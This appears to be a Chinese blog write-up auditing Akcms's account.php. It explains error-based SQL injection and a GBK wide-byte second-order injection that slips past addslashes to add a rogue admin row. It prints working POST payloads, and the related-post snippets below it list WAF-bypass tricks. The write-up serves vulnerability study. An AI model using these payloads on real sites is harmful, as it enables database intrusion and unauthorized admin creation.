Akcms注入漏洞的insert与select组合拳

VSole2021-11-04 07:22:56

0x00 安装

首先下载这个Cms光从安装向导就发现了一个敏感的玩意。

网站Mysql默认采用 Gbk 编码,这会造成宽字节注入漏洞。

随后简单分析了一下这套CMS。看了一下运行流程。关于MVC的东西这里就不再说明了。

0x01 漏洞源头

漏洞文件:akcms/account.php

漏洞URL:

akcms/index.php?file=account&action=manageaccounts&job=newaccount

Payload:

报错注入,POST发送:account=12' or updatexml(1,concat(1,user()),1) -- &password=12
二次注入,POST发送:account=1'# %df',123),(user(),123)# &password=1

0x02 代码分析

akcms/account.php文件的第70-76行

71行有查询操作,可以看到被引号所包裹,接收POST居然无任何过滤。但是有一定局限性,因为这里是用if语句进行判断然后走分支,所以没有回显。

但是如果报错开启的情况下我们可以进行报错注入。

看一下 get_by成员方法

Get_by方法没有进行任何过滤操作。

构造Payload:

account=12' or updatexml(1,concat(1,user()),1) -- &password=12

结果:

但是没有开启报错注入情况下呢,我们把目光放在76行的插入操作。

$value = array('editor' => $post_account,'password' => ak_md5($post_password, 0, 2));$db->insert('admins', $value);

76行进行了插入操作,(为了实现后台添加管理员账号密码)

再来看一下insert成员方法

Insert方法将传递过去的数据进行addslashes引号转义,如果站长使用默认GBK形式的话,我们可以进行使用宽字节注入进行绕过。

foreach($values as $key => $value) {$keysql .= "`$key`,";$valuesql .= "'".$this->addslashes($value)."',";}

现在我们可控点如下:

INSERT INTO `ak_admins`(`editor`,`password`)VALUES('xxxx','c8b2f17833a4c73bb20f88876219ddcd')

有addslashes防御,根据语句我们想到可以这样构造Payload:

1%df',1),(user(),2) --INSERT INTO `ak_admins`(`editor`,`password`)VALUES('1%df',1),(user(),2) -- ','c8b2f17833a4c73bb20f88876219ddcd')

按道理,我们是可以插入进去两条数据的,一条为1,一条为数据库user函数的返回值。

但是意外却出现了,如图:

前面的SELECT查询语句把我们的Payload给暂停了,那么现在就有点意思了。我们非要进行二次注入。那就得绕过。

首先可控点1:SELECT * FROM 表 WHERE 字段='可控'

可控点2:INSERT INTO 表(字段1,字段2) VALUES('可控',一堆MD5…)

首先SELECT语句如果出现语法错误,那么就不会继续往下执行,所以我们构造Payload:

1'# %df',123),(user(),123)#

则可控点1 成为了

SELECT * FROM 表 WHERE 字段='1'# %df',123),(user(),123)#

#把后面的语句全都注释了,那么我们再来看一下可控点2

INSERT INTO 表(字段1,字段2) VALUES('\'# %df',123),(user(),123)#',一堆MD5…)

因为可控点2有addslashes转义操作,所以我们的第一个引号被转义,第二个引号我们使用%df进行宽字节注入,逃逸addslashes,之后的语句就是插入的第二条数据,(user(),123),会往数据库插入一条用户名为user函数返回值,密码为123的数据。如图:

整个漏洞详细过程圆满结束。

0x03 挖掘后事

对这次白盒审计感觉站长还是考虑的不到位,居然默认支持GBK编码,第一个报错注入居然没有任何过滤操作,导致我们可以直接闭合,发送我们喜爱的SQL语句。第二个二次注入我们可以直接利用GBK来进行宽字节注入,也可以发送我们喜爱的SQL语句。作者给了我们喜爱的SQL注入,我们该不该喜爱写BUG的站长?


selectakcms
本作品采用《CC 协议》,转载必须注明作者和本文链接
0x00 安装首先下载这个Cms光从安装向导就发现了一个敏感的玩意。网站Mysql默认采用 Gbk 编码,这会造成宽字节注入漏洞。随后简单分析了一下这套CMS。看了一下运行流程。
空格可以由其它字符替代 select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin 位置① 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a 可以利用数学运算以及
BypassD盾之SQL注入绕过总结
sql注入学习笔记
2022-07-27 16:52:58
sql注入学习笔记
Bypass安全狗MySQL注入
另类字符集编码绕过绕过原理HTTP协议兼容性:HTTP Charset的多样性Content-Type头中使用charset定义字符集的应用场景不只有在responses中,request中同样可以使用。
关注一波,谢谢各位师傅感谢ch1e师傅帮忙总结ch1e‘blog:https://ch1e.gitee.io
0x01 %00绕过WAF输入一个单引号页面报错首先闭合,这里用')闭合keywords=1') %23. order by x 被拦截,用--%0a代替空格即可直接上union select会一直卡着,没有任何返回把空格都改为--%0a,成功响应,在 select 跟 1,2,3... 之间用两个 --%0a 会无响应在 1 后面加上?并 url 编码,原理是 waf 把空字节认为是结束导致了后面的语句可以绕过0x02 Base64绕WAF发现参数为 base64 编码测试字符发现页面报错,使用报错注入来出数据133 and updatexml. 这里可以使用16进制或者科学计数法0x1或1e1keywords=11'and-updatexml
SQL 中最强大的也是最复杂的就是查询部分。
VSole
网络安全专家